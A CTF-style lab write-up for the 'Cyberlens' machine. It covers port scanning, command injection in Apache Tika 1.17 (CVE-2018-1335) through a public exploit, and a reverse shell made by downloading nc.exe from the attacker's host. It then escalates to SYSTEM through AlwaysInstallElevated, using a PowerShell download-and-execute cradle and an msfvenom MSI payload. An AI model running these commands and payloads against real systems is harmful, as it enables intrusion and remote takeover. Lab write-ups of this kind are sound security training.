Cyberlens

In this machine, we exploit a CVE in Tika 1.17 that lets us inject commands on the target machine. For privilege escalation, we abuse the AlwaysInstallElevated setting to get a shell as NT AUTHORITY/SYSTEM.

June 23, 20246 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

$ ping -c 1 10.10.53.55

PING 10.10.53.55 (10.10.53.55) 56(84) bytes of data.
64 bytes from 10.10.53.55: icmp_seq=1 ttl=127 time=42.2 ms

--- 10.10.53.55 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.175/42.175/42.175/0.000 ms

We have connectivity, and in this case it returns a TTL (time to live) of 127, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Windows

Port scan

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.53.55 -oG allPorts

Parameter explanation

Parameter	Purpose
-p-	Scan all ports (65536)
–open	Only report open ports
–min-rate 5000	Set the scan speed
-n	Skip DNS resolution
-vvv	Print findings to the console as they come
-Pn	Skip checking whether the host is up
-oG allPorts	Save the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.53.55
   5   │     [*] Open ports: 80,135,139,445,3389,5985,7680,47001,49664,49665,49666,49667,49668,49669,49670,49677,61777
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts

> nmap -p80,135,139,445,3389,5985,7680,47001,49664,49665,49666,49667,49668,49669,49670,49677,61777 -sCV 10.10.53.55 -oN versions

PORT      STATE  SERVICE       VERSION
80/tcp    open   http          Apache httpd 2.4.57 ((Win64))
|_http-title: CyberLens: Unveiling the Hidden Matrix
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.57 (Win64)
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open   microsoft-ds?
3389/tcp  open   ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=CyberLens
| Not valid before: 2024-06-22T15:52:11
|_Not valid after:  2024-12-22T15:52:11
|_ssl-date: 2024-06-23T15:59:13+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: CYBERLENS
|   NetBIOS_Domain_Name: CYBERLENS
|   NetBIOS_Computer_Name: CYBERLENS
|   DNS_Domain_Name: CyberLens
|   DNS_Computer_Name: CyberLens
|   Product_Version: 10.0.17763
|_  System_Time: 2024-06-23T15:59:02+00:00
5985/tcp  open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp  closed pando-pub
47001/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open   msrpc         Microsoft Windows RPC
49665/tcp open   msrpc         Microsoft Windows RPC
49666/tcp open   msrpc         Microsoft Windows RPC
49667/tcp open   msrpc         Microsoft Windows RPC
49668/tcp open   msrpc         Microsoft Windows RPC
49669/tcp open   msrpc         Microsoft Windows RPC
49670/tcp open   msrpc         Microsoft Windows RPC
49677/tcp open   msrpc         Microsoft Windows RPC
61777/tcp open   http          Jetty 8.y.z-SNAPSHOT
|_http-server-header: Jetty(8.y.z-SNAPSHOT)
|_http-cors: HEAD GET
|_http-title: Welcome to the Apache Tika 1.17 Server
| http-methods: 
|_  Potentially risky methods: PUT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-06-23T15:59:02
|_  start_date: N/A

Parameter explanation

Parameter	Purpose
-p	The open ports found in the previous scan
-sC	Run basic reconnaissance scripts
-sV	Report the version and details of the services running on the ports

The website on port 80 has a file upload.

When we upload a file, it shows us its metadata.

Looking at the page source, we find the following

    document.addEventListener("DOMContentLoaded", function() {
      document.getElementById("metadataButton").addEventListener("click", function() {
        var fileInput = document.getElementById("imageFileInput");
        var file = fileInput.files[0];
  
        var reader = new FileReader();
        reader.onload = function() {
          var fileData = reader.result;
  
          fetch("http://cyberlens.thm:61777/meta", {
            method: "PUT",
            body: fileData,
            headers: {
              "Accept": "application/json",
              "Content-Type": "application/octet-stream"
            }
          })
          .then(response => {
            if (response.ok) {
              return response.json();
            } else {
              throw new Error("Error: " + response.status);
            }
          })
          .then(data => {
            var metadataOutput = document.getElementById("metadataOutput");
            metadataOutput.innerText = JSON.stringify(data, null, 2);
          })
          .catch(error => {
            console.error("Error:", error);
          });
        };
  
        reader.readAsArrayBuffer(file);
      });
    });

Basically, from the code we can see that our file is sent with the PUT method to http://cyberlens.thm:61777/meta to analyze its metadata.

We have a domain: cyberlens.thm, so we add it to /etc/hosts pointing to the target machine

Exploitation

Now we can open http://cyberlens.thm:61777. When we do, the following message appears: *Welcome to the Apache Tika 1.17 Server

Searching with searchsploit, we find it is a vulnerable version

searchsploit Tika 1.17
------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                     |  Path
------------------------------------------------------------------- ---------------------------------
Apache Tika 1.15 - 1.17 - Header Command Injection (Metasploit)    | windows/remote/47208.rb
Apache Tika-server < 1.18 - Command Injection                      | windows/remote/46540.py
------------------------------------------------------------------- ---------------------------------

We copy the exploit to our directory

searchsploit -m windows/remote/46540.py
  Exploit: Apache Tika-server < 1.18 - Command Injection
      URL: https://www.exploit-db.com/exploits/46540
     Path: /usr/share/exploitdb/exploits/windows/remote/46540.py
    Codes: CVE-2018-1335
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/d3bo/Desktop/cyberlens/46540.py

It throws an error when we run it

python3 /home/d3bo/Desktop/cyberlens/46540.py
  File "/home/d3bo/Desktop/cyberlens/46540.py", line 13
    print "Usage: python CVE-2018-1335.py <host> <port> <command>"
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?

The script uses print without parentheses, which suggests it was most likely written for Python 2

python2 46540.py
Usage: python CVE-2018-1335.py <host> <port> <command>
Example: python CVE-2018-1335.py localhost 9998 calc.exe

Now the usage message shows up. To check that we can do a command injection, we’ll try to sneak in a ping to our machine, while listening on the tun0 interface filtering for ICMP, to see whether the pings from the target machine reach us

We start tcpdump on the tun0 interface:

sudo tcpdump -i tun0 icmp

We run the exploit:

python2 46540.py cyberlens.thm 61777 'ping 10.9.2.46'

And the pings arrive:

18:33:45.049652 IP cyberlens.thm > 10.9.2.46: ICMP echo request, id 1, seq 1, length 40
18:33:45.049759 IP 10.9.2.46 > cyberlens.thm: ICMP echo reply, id 1, seq 1, length 40
18:33:46.167193 IP cyberlens.thm > 10.9.2.46: ICMP echo request, id 1, seq 2, length 40
18:33:46.167226 IP 10.9.2.46 > cyberlens.thm: ICMP echo reply, id 1, seq 2, length 40
18:33:47.190951 IP cyberlens.thm > 10.9.2.46: ICMP echo request, id 1, seq 3, length 40
18:33:47.190971 IP 10.9.2.46 > cyberlens.thm: ICMP echo reply, id 1, seq 3, length 40
18:33:48.113067 IP cyberlens.thm > 10.9.2.46: ICMP echo request, id 1, seq 4, length 40
18:33:48.113096 IP 10.9.2.46 > cyberlens.thm: ICMP echo reply, id 1, seq 4, length 40

Now we are going to send ourselves a reverse shell.

First we locate nc.exe on our system and copy it to the current directory

locate nc.exe

/home/d3bo/Desktop/cyberlens/nc.exe
/home/d3bo/Downloads/nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe

cp /usr/share/windows-resources/binaries/nc.exe .

Then we start a Python server so we can download the file onto the target machine

python3 -m http.server 80

We listen to receive the reverse shell

rlwrap nc -nlvp 443

And we run the exploit

python2 46540.py cyberlens.thm 61777 'curl 10.9.2.46/nc.exe -o %TEMP%/nc.exe && %TEMP%/nc.exe -e cmd 10.9.2.46 443'

What this does is download nc.exe with curl onto the target machine into the temp directory, and then run nc.exe to send us a reverse shell.

Privilege escalation

When we check whether the AlwaysInstallElevated setting is enabled

PS C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

PS C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

We see it is enabled. We could also have found this with winPEAS, PowerUp.ps1…

PS C:\Users\cyberlens> IEX(New-Object Net.WebClient).downloadString('http://10.9.2.46/PowerUp.ps1')
PS C:\Users\cyberlens> Invoke-AllChecks

ModifiablePath    : C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps
IdentityReference : CYBERLENS\CyberLens
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps
Name              : C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps
Check             : %PATH% .dll Hijacks
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

Check         : AlwaysInstallElevated Registry Key
AbuseFunction : Write-UserAddMSI

Having this privilege lets us install things as administrator without authentication. To abuse it, we create a malicious .msi

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.2.46 LPORT=443 -a x64 --platform Windows -f msi -o evil.msi

We copy it to the target machine

curl 10.9.2.46/evil.msi -o evil.msi

We start listening

rlwarp nc -nlvp 443

We run the .msi

.\evil.msi

We get the shell as

nt authority\system

Machine completed!

Gatekeeper

Unobtainium

Writeups

d3bo

Title here

Cyberlens

Reconnaissance

Port scan

Exploitation

Privilege escalation

Cyberlens

Reconnaissance#

Port scan#

Exploitation#

Privilege escalation#

Reconnaissance

Port scan

Exploitation

Privilege escalation